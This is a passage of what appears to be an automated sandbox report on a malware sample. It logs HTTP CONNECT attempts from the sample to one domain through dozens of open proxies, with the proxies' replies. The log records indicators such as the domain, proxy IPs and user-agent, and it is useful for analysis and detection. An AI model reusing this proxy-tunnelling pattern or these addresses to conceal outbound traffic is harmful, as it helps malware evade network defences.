133	192.168.2.9	50345	38.54.6.39	9080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.156963110 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.376688004 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.9	50338	68.169.60.220	8380	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.158797026 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.9	50256	35.199.90.225	8888	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.159323931 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:22:07.016021967 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.9	50452	104.16.224.33	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.160178900 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.314471006 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:02 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.9	50249	185.49.31.207	8081	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.160254002 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.9	49815	42.61.48.219	8000	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.161159992 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.007817030 CET	263	IN	HTTP/1.1 503 Service Unavailable x-envoy-overloaded: true content-length: 81 content-type: text/plain date: Mon, 11 Mar 2024 14:00:49 GMT server: svcproxy connection: close Data Raw: 75 70 73 74 72 65 61 6d 20 63 6f 6e 6e 65 63 74 20 65 72 72 6f 72 20 6f 72 20 64 69 73 63 6f 6e 6e 65 63 74 2f 72 65 73 65 74 20 62 65 66 6f 72 65 20 68 65 61 64 65 72 73 2e 20 72 65 73 65 74 20 72 65 61 73 6f 6e 3a 20 6f 76 65 72 66 6c 6f 77 Data Ascii: upstream connect error or disconnect/reset before headers. reset reason: overflow

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.9	50459	104.25.42.178	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.163676023 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.318428993 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:02 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.9	50227	43.133.136.208	8800	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.167130947 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.9	50231	143.64.8.21	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.172297001 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.524677038 CET	741	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.25.1 Date: Mon, 11 Mar 2024 14:21:02 GMT Content-Type: text/html Content-Length: 579 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 35 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>500 Internal Server Error</title></head><body><center><h1>500 Internal Server Error</h1></center><hr><center>nginx/1.25.1</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.9	50290	178.236.246.53	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.195336103 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.871937037 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.809518099 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.700417042 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.591207027 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.9	50424	209.121.164.50	31147	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.195431948 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.895982027 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.9	50396	162.243.102.207	9764	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.197072029 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.9	50473	185.162.231.254	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.197072029 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.351459026 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:02 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.9	50357	72.195.101.99	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.198249102 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.9	50239	13.234.24.116	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.205144882 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.590199947 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 14:21:02 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.9	50309	91.142.222.84	22735	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.211724997 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.856314898 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.762622118 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.638168097 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.325706005 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:12.934808016 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:16.637969017 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:23.825261116 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:38.232943058 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.9	50541	104.20.67.113	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.219928026 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.375535011 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:02 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
150	192.168.2.9	50545	104.20.75.31	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.221302986 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.375684977 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:02 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
151	192.168.2.9	50349	18.135.133.116	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.222589970 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.514453888 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 14:21:02 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
152	192.168.2.9	50456	38.54.95.19	9080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.223355055 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.445251942 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
153	192.168.2.9	50344	121.128.194.154	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.231693029 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
154	192.168.2.9	50306	95.84.166.138	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.247335911 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
155	192.168.2.9	50444	174.64.199.79	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.253359079 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
156	192.168.2.9	50399	101.250.10.211	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.257419109 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
157	192.168.2.9	50012	117.160.250.163	8081	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.257895947 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.923643112 CET	221	IN	HTTP/1.1 403 Access Denied Date: Mon, 11 Mar 2024 14:21:02 GMT Connection: close Cache-Control: no-store Content-Type: text/html Content-Language: en Content-Length: 43 Data Raw: 59 6f 75 20 61 72 65 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 20 74 6f 20 61 63 63 65 73 73 20 74 68 65 20 64 6f 63 75 6d 65 6e 74 2e Data Ascii: You are not allowed to access the document.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
